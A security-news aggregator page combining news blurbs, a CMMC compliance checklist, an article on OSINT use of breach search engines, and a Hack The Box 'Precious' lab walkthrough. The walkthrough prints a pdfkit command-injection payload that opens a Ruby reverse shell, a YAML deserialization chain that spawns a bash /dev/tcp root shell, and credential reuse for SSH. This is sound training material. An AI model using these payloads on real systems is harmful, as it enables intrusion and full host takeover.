BackBox.org News – Page 361 – Latest news and insights on Security

BackBox News

Cybersecurity 101: Understanding MITRE ATT&CK Framework

November 25, 2024/in General News

Traditional security frameworks often fail to connect with the realities of development. Usually, we see the results of them in PDFs and compliance documents, making it hard for developers to see how they relate to the actual code. As someone who tinkered with both worlds, Mitre is more valuable from a developer’s perspective than OWASP Top 10. Insisting at the same time that OWASP has its clear…

Source

TechSplicer – Read More

North Korea Deploying Fake IT Workers in China, Russia, Other Countries

November 25, 2024/in General News

The North Korean fake IT workers have infiltrated businesses in China, Russia, and other countries aside from the US.

The post North Korea Deploying Fake IT Workers in China, Russia, Other Countries appeared first on SecurityWeek.

SecurityWeek – Read More

UK seeks collaboration for security research lab to counter Russia and ‘new AI arms race’

November 25, 2024/in General News

The U.K. is seeking collaboration for a new AI security research lab that’s designed to counter Russia and other hostile states in what it dubs the “new AI arms race.” While the U.K. government has launched numerous funding initiatives in the past to support cybersecurity projects, the rise of AI-fueled nation-state attacks, specifically, is the […]

Security News | TechCrunch – Read More

THN Recap: Top Cybersecurity Threats, Tools, and Practices (Nov 18 – Nov 24)

November 25, 2024/in General News

We hear terms like “state-sponsored attacks” and “critical vulnerabilities” all the time, but what’s really going on behind those words? This week’s cybersecurity news isn’t just about hackers and headlines—it’s about how digital risks shape our lives in ways we might not even realize.
For instance, telecom networks being breached isn’t just about stolen data—it’s about power. Hackers are

The Hacker News – Read More

Microlise Confirms Data Breach as Ransomware Group Steps Forward

November 25, 2024/in General News

The SafePay ransomware group claims to have stolen over 1 terabyte of data from vehicle tracking solutions provider Microlise.

The post Microlise Confirms Data Breach as Ransomware Group Steps Forward appeared first on SecurityWeek.

SecurityWeek – Read More

Researchers Uncover Malware Using BYOVD to Bypass Antivirus Protections

November 25, 2024/in General News

Cybersecurity researchers have uncovered a new malicious campaign that leverages a technique called Bring Your Own Vulnerable Driver (BYOVD) to disarm security protections and ultimately gain access to the infected system.
“This malware takes a more sinister route: it drops a legitimate Avast Anti-Rootkit driver (aswArPot.sys) and manipulates it to carry out its destructive agenda,” Trellix

The Hacker News – Read More

Russian Cyberspies Hacked Building Across Street From Target for Wi-Fi Attack

November 25, 2024/in General News

Russian cyberspy group APT28 conducted a Nearest Neighbor Attack, where it hacked into the building across the street from the victim for a Wi-Fi attack.

The post Russian Cyberspies Hacked Building Across Street From Target for Wi-Fi Attack appeared first on SecurityWeek.

SecurityWeek – Read More

The CMMC Countdown, Part 3

November 25, 2024/in General News

As stressed in the previous CMMC Countdown post, the five points are make or break to get a conditional CMMC certification. We will continue briefly reviewing how to address the remaining five pointers.

CMMC Action Plan, continued

AC.L2-3.1.18

Control connection of mobile devices.
Determine if:
[a] mobile devices that process, store, or transmit CUI are identified;
[b] mobile device connections are authorized; and
[c] mobile device connections are monitored and logged.

Consider showing that all mobile devices are managed using mobile device management (MDM) software the provides built-in authorization, monitoring and logging.

You could simplify your compliance posture by preventing mobile device access.

AT.L2-3.2.1

Ensure that managers, systems administrators, and users of organizational systems are made aware of the security risks associated with their activities and of the applicable policies, standards, and procedures related to the security of those systems.
Determine if:
[a] security risks associated with organizational activities involving CUI are identified;
[b] policies, standards, and procedures related to the security of the system are identified;
[c] managers, systems administrators, and users of the system are made aware of the security risks associated with their activities; and
[d] managers, systems administrators, and users of the system are made aware of the applicable policies, standards, and procedures related to the security of the system.

Consider showing a security awareness and training plan document that identifies your organization’s cybersecurity and CUI risks and the training courses that will educate employees on those risks. Consider using the SANS Security Awareness Planning Toolkit.

AT.L2-3.2.2

Ensure that personnel are trained to carry out their assigned information security-related duties and responsibilities.
Determine if:
[a] information security-related duties, roles, and responsibilities are defined;
[b] information security-related duties, roles, and responsibilities are assigned to designated personnel; and
[c] personnel are adequately trained to carry out their assigned information securityrelated duties, roles, and responsibilities.

Consider showing the training assigned to the information technology and cybersecurity team members. Also, the training should be focused on the specific IT and cybersecurity systems used at your organization. Consider identifying these training assignments in your security awareness and training plan.

AU.L2-3.3.1

Create and retain system audit logs and records to the extent needed to enable the monitoring, analysis, investigation, and reporting of unlawful or unauthorized system activity.
Determine if:
[a] audit logs needed (i.e., event types to be logged) to enable the monitoring, analysis, investigation, and reporting of unlawful or unauthorized system activity are specified;
[b] the content of audit records needed to support monitoring, analysis, investigation, and reporting of unlawful or unauthorized system activity is defined;
[c] audit records are created (generated);
[d] audit records, once created, contain the defined content;
[e] retention requirements for audit records are defined; and
[f] audit records are retained as defined.

Consider reviewing which logs your systems are already capturing and how long they are being retained. Document those existing logs and the retention period. Review them and see whether they can help identify unlawful or unauthorized activity. Your security information and event manager (SIEM) might be able to create reports that identify unauthorized logins and anomalous behavior. Document this internal review as additional evidence. Make adjustments to the logs and retention periods as needed.

CM.L2-3.4.1

Establish and maintain baseline configurations and inventories of organizational systems (including hardware, software, firmware, and documentation) throughout the respective system development life cycles.
Determine if:
[a] a baseline configuration is established;
[b] the baseline configuration includes hardware, software, firmware, and documentation;
[c] the baseline configuration is maintained (reviewed and updated) throughout the system development life cycle;
[d] a system inventory is established;
[e] the system inventory includes hardware, software, firmware, and documentation; and
[f] the inventory is maintained (reviewed and updated) throughout the system development life cycle.

Consider creating a document that captures the hardware, software, and firmware when setting up new workstations, laptops, and servers. Revise this document at least annually. Create a document or use an inventory tracking system that identifies all the devices and their hardware, software, and firmware. Review the document at least annually, but ideally, as changes occur if you track it manually.

CM.L2-3.4.2

Establish and enforce security configuration settings for information technology products employed in organizational systems.
Determine if:
[a] security configuration settings for information technology products employed in the system are established and included in the baseline configuration; and
[b] security configuration settings for information technology products employed in the system are enforced.

Consider showing how you harden each new machine and maintain its hardening. Show the scripts, Windows group policy objects, and security profiles (in MDM and security management tools). Collect any reports that show how these security configurations are applied and maintained.

IA.L2-3.5.1

Identify system users, processes acting on behalf of users, and devices.
Determine if:
[a] system users are identified;
[b] processes acting on behalf of users are identified; and
[c] devices accessing the system are identified.

Consider leveraging the implementation and evidence used for AC.L2-3.1.1. Furthermore, consider defining how each user’s unique identifier (e.g., username) and device’s unique identifiers (e.g., hostname) are assigned.

IA.L2-3.5.2

Authenticate (or verify) the identities of users, processes, or devices, as a prerequisite to allowing access to organizational systems.
Determine if:
[a] the identity of each user is authenticated or verified as a prerequisite to system access;
[b] the identity of each process acting on behalf of a user is authenticated or verified as a prerequisite to system access; and
[c] the identity of each device accessing or connecting to the system is authenticated or verified as a prerequisite to system access.

Consider showing that all systems require a unique username and password to authenticate. Remove default usernames if possible, or change their default passwords. Avoid shared usernames if possible,e or use a password manager that logs who is accessing the shared username. For service accounts, consider creating a naming convention that identifies its purpose.

IR.L2-3.6.1

Establish an operational incident-handling capability for organizational systems that includes preparation, detection, analysis, containment, recovery, and user response activities.
Determine if:
[a] an operational incident-handling capability is established;
[b] the operational incident-handling capability includes preparation;
[c] the operational incident-handling capability includes detection;
[d] the operational incident-handling capability includes analysis;
[e] the operational incident-handling capability includes containment;
[f] the operational incident-handling capability includes recovery; and
[g] the operational incident-handling capability includes user response activities.

Consider creating an incident response plan. The plan should show the process to addressing and resolving an incident. The plan steps should address each operational incident-handling capability defined in the CMMC control. You can use the Cybersecurity & Infrastructure Security Agency (CISA) Incident Response Plan (IRP) Basics to get started.

IR.L2-3.6.2

Track, document, and report incidents to designated officials and/or authorities both internal and external to the organization.
Determine if:
[a] incidents are tracked;
[b] incidents are documented;
[c] authorities to whom incidents are to be reported are identified;
[d] organizational officials to whom incidents are to be reported are identified;
[e] identified authorities are notified of incidents; and
[f] identified organizational officials are notified of incidents.

Create a form, set up an internal database, or use your security tools to document and track incidents. Update your IRP to include the contact information of internal (e.g., executives, directors) and external authorities (e.g., DIBNet, CISA, FBI) to contact during an incident and when to contact them. An incident affecting CUI must be reported using the DIBNet portal, which requires an ECA certificate.

MA.L2-3.7.2

Provide controls on the tools, techniques, mechanisms, and personnel used to conduct system maintenance.
Determine if:
[a] tools used to conduct system maintenance are controlled;
[b] techniques used to conduct system maintenance are controlled;
[c] mechanisms used to conduct system maintenance are controlled; and
[d] personnel used to conduct system maintenance are controlled.

Consider documenting:

The ticketing system that tracks maintenance activities.
The antivirus software keeps the system free of malware prior to, during, and after the maintenance activities.
The local and remote maintenance software used during activities.
The list of personnel authorized to perform maintenance activities.

MP.L2-3.8.3

Sanitize or destroy system media containing CUI before disposal or release for reuse.
Determine if:
[a] system media containing CUI is sanitized or destroyed before disposal; and
[b] system media containing CUI is sanitized before it is released for reuse.

Consider documenting a procedure on how CUI systems are sanitized (e.g., writing zeroes on the drive) and destroyed (e.g., degaussing and secure shredding). Consider reviewing and tailoring NIST Special Publication 800-88, Revision 1, Guidelines for Media Sanitization.

Before you go

We will review the more five-point controls in the next post.

Secjuice – Read More

HTB Precious Walkthrough

November 25, 2024/in General News

A really simple BOX to start gaining experience!

The nmap scan:

Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-11 14:57 EST
Nmap scan report for 10.10.11.189
Host is up (0.11s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 845e13a8e31e20661d235550f63047d2 (RSA)
|   256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_  256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.24 seconds

Of course, the only access point is the HTTP on port 80; insert the precious.htb domain in the /etc/hosts file and proceed.

The portal seems to be a straightforward converter of Web pages to PDF. In addition to having a single access point, the feature leaves no doubt about the attack to be carried out, you just need to identify the exact tool used for the conversion and understand what kind of vulnerability it suffers from. By being able to enter a URL in the only available text field, the vulnerability could be hidden in the URL itself or in the page to be converted (the payload). We, therefore, verify that the BOX reaches us and that we can pass a personal payload; we start a native php server and insert our address in the form field.

┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox/_10.10.11.189 - Precious (lin)/attack]
└─$ php -S 10.10.14.79:5000 
[Sun Dec 11 15:07:49 2022] PHP 8.1.12 Development Server (http://10.10.14.79:5000) started
[Sun Dec 11 15:08:11 2022] 10.10.11.189:45994 Accepted
[Sun Dec 11 15:08:11 2022] 10.10.11.189:45994 [404]: GET / - No such file or directory
[Sun Dec 11 15:08:11 2022] 10.10.11.189:45994 Closing

The 404 error code, however, does not start the conversion, so I prepared an empty html page, downloaded the output of the operation, and looked inside, looking for information concerning the tool used for the conversion.

%PDF-1.4
%âã
1 0 obj
<<
/Title ()
/Creator (��wkhtmltopdf 0.12.6)
/Producer (��Qt 5.15.2)
/CreationDate (D:20221211153322-05'00')
[...]
1037 
%%EOF
%BeginExifToolUpdate
1 0 obj
<<
/Creator (Generated by pdfkit v0.8.6)
>>
endobj
11 0 obj
[...]

I was a bit confused. Inside the file there seem to be indications about two different conversion tools: wkhtmltopdf and pdfkit. They’re both conversion tools, but I didn’t understand why they’re both being repurposed. However, the exiftool seems to identify the pdfkit in the metadata.

┌──(in7rud3r㉿kali-muletto)-[~/Downloads]
└─$ exiftool 9y7vtnuzxwr6isk3hdttvuy8fng2kxrx.pdf 
ExifTool Version Number         : 12.51
File Name                       : 9y7vtnuzxwr6isk3hdttvuy8fng2kxrx.pdf
Directory                       : .
File Size                       : 4.6 kB
File Modification Date/Time     : 2022:12:11 15:37:29-05:00
File Access Date/Time           : 2022:12:11 15:38:06-05:00
File Inode Change Date/Time     : 2022:12:11 15:37:29-05:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Creator                         : Generated by pdfkit v0.8.6

In order not to leave anything to chance, however, let’s also take a look at the first one. Looking for exploits for the first tool, something comes up, but it doesn’t seem to work despite multiple attempts.

Convinced that it is still the second tool that is really the object of the challenge, I want to look for exploits for this second one.

A nice list.

Snyk Vulnerability Database | Snyk

High severity (7.3) Command Injection in pdfkit | CVE-2022-25765

Learn more about RubyGems with Snyk Open Source Vulnerability Database

And that looked really interesting. I immediately tried with the verification payload shown in the example, which gave me good results. Sleep seems to have been performed before the conversion process and the pdf is returned to me after the 15 seconds indicated, increasing the time of the command also increases the interval before the download starts.

http://10.10.14.14:5000/file.html?name=#{'%20`sleep 15`'}

We should have identified the vulnerability. Now, let’s see how to use it. The second example payload also provides useful information, and the commands interpreted by the converter are reported as processed data in the URL addressed to my php server.

[Mon Dec 12 15:42:45 2022] 10.10.11.189:53504 Accepted
[Mon Dec 12 15:42:45 2022] 10.10.11.189:53504 [200]: GET /file.html?pwd=/var/www/pdfapp&user=ruby
[Mon Dec 12 15:42:45 2022] 10.10.11.189:53504 Closing

All we have to do is insist on this path, and try to recover as much information as possible and perhaps take advantage of the execution of commands via injection of the payload into the URLs. Despite my attempts, I still couldn’t recover the data in the most common files, so I decided to look for a more specific payload for this attack that allowed me to exploit an RCE, and I found it easily.

Of course, I refined the attack and identified the payload that fits my scenario.

http://10.10.14.14:5000/file.html?name={%20` ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.14.14",4444))')`}

Perfect, despite having obtained a reverse shell on the machine, it seems that my user does not own the user flag, let alone have permission to read it.

┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.11.189] 46478
whoami
ruby
pwd
/var/www/pdfapp
ls -la
total 36
drwxr-xr-x 6 root root 4096 Oct 26 08:28 .
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
drwxr-xr-x 4 root ruby 4096 Oct 26 08:28 app
drwxr-xr-x 2 root ruby 4096 Oct 26 08:28 config
-rw-r--r-- 1 root ruby   59 Sep 10 09:46 config.ru
-rw-r--r-- 1 root ruby   99 Sep 17 14:17 Gemfile
-rw-r--r-- 1 root ruby  478 Sep 26 05:04 Gemfile.lock
drwxrwxr-x 2 root ruby 4096 Dec 12 16:34 pdf
drwxr-xr-x 4 root ruby 4096 Oct 26 08:28 public
ls -la /home/
total 16
drwxr-xr-x  4 root  root  4096 Oct 26 08:28 .
drwxr-xr-x 18 root  root  4096 Nov 21 15:11 ..
drwxr-xr-x  3 henry henry 4096 Dec 12 13:29 henry
drwxr-xr-x  4 ruby  ruby  4096 Dec 12 13:15 ruby
ls -la /home/ruby/
total 28
drwxr-xr-x 4 ruby ruby 4096 Dec 12 13:15 .
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
lrwxrwxrwx 1 root root    9 Oct 26 07:53 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby  220 Mar 27  2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27  2022 .bashrc
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .bundle
drwxr-xr-x 4 ruby ruby 4096 Dec 12 15:33 .cache
-rw-r--r-- 1 ruby ruby  807 Mar 27  2022 .profile
ls -la /home/henry/
total 32
drwxr-xr-x 3 henry henry 4096 Dec 12 13:29 .
drwxr-xr-x 4 root  root  4096 Oct 26 08:28 ..
lrwxrwxrwx 1 root  root     9 Sep 26 05:04 .bash_history -> /dev/null
-rw-r--r-- 1 henry henry  220 Sep 26 04:40 .bash_logout
-rw-r--r-- 1 henry henry 3526 Sep 26 04:40 .bashrc
-rw-r--r-- 1 henry henry  617 Dec 12 13:29 dependencies.yml
drwxr-xr-x 3 henry henry 4096 Dec 12 13:21 .local
-rw-r--r-- 1 henry henry  807 Sep 26 04:40 .profile
-rw-r----- 1 root  henry   33 Dec 12 13:14 user.txt
cat /home/henry/user.txt
cat: /home/henry/user.txt: Permission denied

I’m not there to rehash it. I tried to start a session of linpeas.

[...]
╔══════════╣ CVEs Check
Potentially Vulnerable to CVE-2022-0847                                                                                                                                                                  

Potentially Vulnerable to CVE-2022-2588
[...]
╔══════════╣ Executing Linux Exploit Suggester
╚ https://github.com/mzet-/linux-exploit-suggester                                                                                                                                                       
[+] [CVE-2021-3490] eBPF ALU32 bounds tracking for bitwise ops                                                                                                                                           

   Details: https://www.graplsecurity.com/post/kernel-pwning-with-ebpf-a-love-story
   Exposure: probable
   Tags: ubuntu=20.04{kernel:5.8.0-(25|26|27|28|29|30|31|32|33|34|35|36|37|38|39|40|41|42|43|44|45|46|47|48|49|50|51|52)-*},ubuntu=21.04{kernel:5.11.0-16-*}
   Download URL: https://codeload.github.com/chompie1337/Linux_LPE_eBPF_CVE-2021-3490/zip/main
   Comments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1

[+] [CVE-2022-0847] DirtyPipe

   Details: https://dirtypipe.cm4all.com/
   Exposure: probable
   Tags: ubuntu=(20.04|21.04),[ debian=11 ]
   Download URL: https://haxx.in/files/dirtypipez.c

[+] [CVE-2022-32250] nft_object UAF (NFT_MSG_NEWSET)

   Details: https://research.nccgroup.com/2022/09/01/settlers-of-netlink-exploiting-a-limited-uaf-in-nf_tables-cve-2022-32250/
https://blog.theori.io/research/CVE-2022-32250-linux-kernel-lpe-2022/
   Exposure: less probable
   Tags: ubuntu=(22.04){kernel:5.15.0-27-generic}
   Download URL: https://raw.githubusercontent.com/theori-io/CVE-2022-32250-exploit/main/exp.c
   Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)

[+] [CVE-2022-2586] nft_object UAF

   Details: https://www.openwall.com/lists/oss-security/2022/08/29/5
   Exposure: less probable
   Tags: ubuntu=(20.04){kernel:5.12.13}
   Download URL: https://www.openwall.com/lists/oss-security/2022/08/29/5/1
   Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)

[+] [CVE-2021-3156] sudo Baron Samedit

   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: less probable
   Tags: mint=19,ubuntu=18|20, debian=10
   Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main

[+] [CVE-2021-3156] sudo Baron Samedit 2

   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: less probable
   Tags: centos=6|7|8,ubuntu=14|16|17|18|19|20, debian=9|10
   Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main

[+] [CVE-2021-22555] Netfilter heap out-of-bounds write

   Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
   Exposure: less probable
   Tags: ubuntu=20.04{kernel:5.8.0-*}
   Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
   ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
   Comments: ip_tables kernel module must be loaded
[...]
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports                                                                                                                            
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                                                                                                                        
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:45983         0.0.0.0:*               LISTEN      798/Passenger RubyA 
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
[...]
╔══════════╣ Analyzing Interesting logs Files (limit 70)
-rw-r--r-- 1 root root 20086720 Dec 12 16:45 /var/log/nginx/access.log                                                                                                                                   

-rw-r----- 1 www-data adm 0 Dec 12 13:14 /var/log/nginx/error.log
[...]
                               ╔═══════════════════╗
═══════════════════════════════╣ Interesting Files ╠═══════════════════════════════                                                                                                                      
                               ╚═══════════════════╝                                                                                                                                                     
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid                                                                                                                         
strace Not Found                                                                                                                                                                                         
-rwsr-xr-x 1 root root 44K Feb  7  2020 /usr/bin/newgrp  --->  HP-UX_10.20                                                                                                                               
-rwsr-xr-x 1 root root 52K Feb  7  2020 /usr/bin/chsh
-rwsr-xr-x 1 root root 35K Jan 20  2022 /usr/bin/umount  --->  BSD/Linux(08-1996)
-rwsr-xr-x 1 root root 58K Feb  7  2020 /usr/bin/chfn  --->  SuSE_9.3/10
-rwsr-xr-x 1 root root 179K Feb 27  2021 /usr/bin/sudo  --->  check_if_the_sudo_version_is_vulnerable
-rwsr-xr-x 1 root root 1.2M Mar 27  2022 /usr/bin/bash
-rwsr-xr-x 1 root root 71K Jan 20  2022 /usr/bin/su
-rwsr-xr-x 1 root root 87K Feb  7  2020 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 63K Feb  7  2020 /usr/bin/passwd  --->  Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
-rwsr-xr-x 1 root root 55K Jan 20  2022 /usr/bin/mount  --->  Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
-rwsr-xr-x 1 root root 35K Feb 26  2021 /usr/bin/fusermount
-rwsr-xr-- 1 root messagebus 51K Oct  5 07:04 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 471K Jul  1 18:37 /usr/lib/openssh/ssh-keysign

╔══════════╣ SGID
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid                                                                                                                         
-rwxr-sr-x 1 root ssh 347K Jul  1 18:37 /usr/bin/ssh-agent                                                                                                                                               
-rwxr-sr-x 1 root crontab 43K Feb 22  2021 /usr/bin/crontab
-rwxr-sr-x 1 root shadow 31K Feb  7  2020 /usr/bin/expiry
-rwxr-sr-x 1 root tty 35K Jan 20  2022 /usr/bin/wall
-rwxr-sr-x 1 root shadow 79K Feb  7  2020 /usr/bin/chage
-rwxr-sr-x 1 root shadow 38K Aug 26  2021 /usr/sbin/unix_chkpwd
[...]
/home/ruby/.bundle
/home/ruby/.bundle/config
[...]

Apparently, there’s a lot of stuff to check, but once you start getting familiar with HTB machines, you also start to understand that, in most cases, the CVEs suggested by the tool aren’t the solution. Leaving those aside and taking a quick look at the other clues, I’m immediately attracted to the .bundle folder (and the configuration file it contains), which is located in the home of the user I’m connected to.

cat .bundle/config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"

I told you it would be a simple BOX. Inside the file, I found credentials that seem to belong to the user who owns the flag. Fooled by the fact that the BOX is starting to look a little too simple, I try to identify the password encryption algorithm with the hashcat… but that doesn’t bring up anything. Almost disappointed and incredulous of what is going through my head, I tried to connect in ssh using the password as if it were unencrypted.

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.189 - Precious (lin)/attack/hc]
└─$ ssh henry@10.10.11.189
The authenticity of host '10.10.11.189 (10.10.11.189)' can't be established.
ED25519 key fingerprint is SHA256:1WpIxI8qwKmYSRdGtCjweUByFzcn0MSpKgv+AwWRLkU.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.189' (ED25519) to the list of known hosts.
henry@10.10.11.189's password: 
Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Dec 12 13:42:09 2022 from 10.10.14.53
-bash-5.1$ cat user.txt 
c******************************a

I admit I don’t know what that .bundle folder is, but after what I’ve seen, I don’t even want to investigate that much.

Ready to proceed in the most difficult roads towards the root flag. I checked what I can launch as root without password. I’m sure I won’t be able to execute…

-bash-5.1$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

…OK, forget it.

-bash-5.1$ cat /opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

It appears to be a Ruby script that verifies the versions of the packages listed in a yaml file against the versions available from the official repositories. The yaml file is really very simple.

henry@precious:~$ find / -name "dependencies.yml" 2>/dev/null
/opt/sample/dependencies.yml
henry@precious:~$ cat /opt/sample/dependencies.yml
yaml: 0.1.1
pdfkit: 0.8.6

The first approach, looking for file replacements and user path overrides to trick the script, leads me to no particular idea. However, the yaml is a structure that can also contain information related to the execution of code or command, references to files, and so on. I tried to take advantage of the Load command of the YAML package used in the script. Searching on the Internet, I found something interesting.

Perfect, I prepare my payload…

henry@precious:/tmp/rbe$ cat dependencies.yml 
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: "bash -c 'bash -i >& /dev/tcp/10.10.14.106/4444 0>&1'"
         method_id: :resolve

I ran the script as administrator…

henry@precious:/tmp/rbe$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found

…and here is my root shell, which allows me to retrieve the root flag.

┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.106] from (UNKNOWN) [10.10.11.189] 54934
root@precious:/tmp/rbe# whoami
whoami
root
root@precious:/tmp/rbe# cat /root/root.txt
cat /root/root.txt
5******************************2
root@precious:/tmp/rbe# ^C

This is a nice BOX to start with. That’s all, folks. Have fun hacking activities (legally, as always), and see you in the next BOX.

Secjuice – Read More

Using Newly Surfaced Data Breaches for OSINT Research

November 25, 2024/in General News

Data breaches are an unfortunate reality for many websites, leading to leaked information often posted on dark web forums or discovered by security researchers. Before this data disappears or is removed, Data Breach Search Engines (DBSEs) gather, verify, and categorize it, making it accessible to people seeking to understand what information may have been compromised. DBSEs like Have I Been Pwned allow OSINT (open-source intelligence) investigators to enter an email address and see if it was used on a breached site, often revealing critical information about the target’s online footprint. These DBSEs serve as an important privacy service, allowing users to know if their information has been exposed and, in some cases, request its removal from these databases.

What are Data Breach Search Engines?

DBSEs provide a way to find out where an email address, phone number, username, or other identifier has been used, giving researchers a clearer sense of a person’s digital presence. If a DBSE search shows that an email was compromised in a LinkedIn breach, for example, an investigator knows the person likely had a LinkedIn account. This information is invaluable for OSINT researchers, as it offers hints about a target’s professional network, social media presence, and even connections to colleagues or alternate emails. Some of the most popular DBSEs include Have I Been Pwned (searchable by email or phone), IntelX.io (email), and dehashed.com (email, username, domain, password, IP). There are also more specific breach-focused tools, such as haveibeenzucked.com for Facebook data and checkashleymadison.com for the Ashley Madison breach. These tools maintain deep web databases, and the information within them can often be accessed only through the website itself. For OSINT investigators, understanding DBSE resources is critical, as each can reveal unique details about where an email address, phone number, or other identifier was registered and whether it has been compromised.

Data Breaches Now Available on Data Breach Information Sites

This month, four major data breaches have appeared on platforms like Have I Been Pwned, each offering unique insights into different user communities. Although some breaches occurred years ago, the data is newly available on DBSEs, presenting OSINT researchers with new avenues to explore.

1. Internet Archive (October 2024)

In October 2024, the Internet Archive, famous for its digital preservation efforts and the Wayback Machine, experienced a breach affecting 31 million user accounts. Data exposed includes email addresses, screen names, and bcrypt-hashed passwords. The Internet Archive responded to the breach quickly and transparently, immediately implementing security measures, disabling compromised libraries, and restoring service in read-only mode while the organization strengthened its defenses. This breach is notable for OSINT researchers interested in online archives and historical data access, as it suggests users engaged in digital research or preservation activities.

2. VimeWorld (October 2018)

VimeWorld, a Russian Minecraft service, experienced a data breach in 2018 that exposed data on 3.1 million users. The compromised information includes usernames, email addresses, IP addresses, and hashed passwords (MD5 or bcrypt). This breach’s recent availability in DBSEs presents new opportunities for researchers interested in gaming communities, particularly among Russian-speaking audiences.

3. StreamCraft (July 2020)

The StreamCraft breach in July 2020 affected 1.8 million records, exposing usernames, email addresses, IP addresses, and hashed passwords (MD5 or bcrypt). StreamCraft data, newly accessible for OSINT purposes, provides a look into the online behavior of gaming communities, especially among users who favor multiplayer gaming.

4. AlpineReplay (2019)

The 2019 breach of AlpineReplay, a fitness-tracking app later integrated into Trace, exposed 900,000 records, including email addresses, usernames, dates of birth, gender, weight, and passwords hashed with MD5 or bcrypt. Recently appearing in DBSEs, this data gives insights into the interests of fitness enthusiasts, particularly those who use digital tools to track performance in sports like skiing and snowboarding.

Why These Data Breaches Matter to Researchers

When an OSINT researcher finds an email address in one of these breaches, it can reveal valuable information about the target’s digital activities. Each platform represents a specific online community or interest, giving clues about an individual’s preferences, affiliations, or lifestyle.

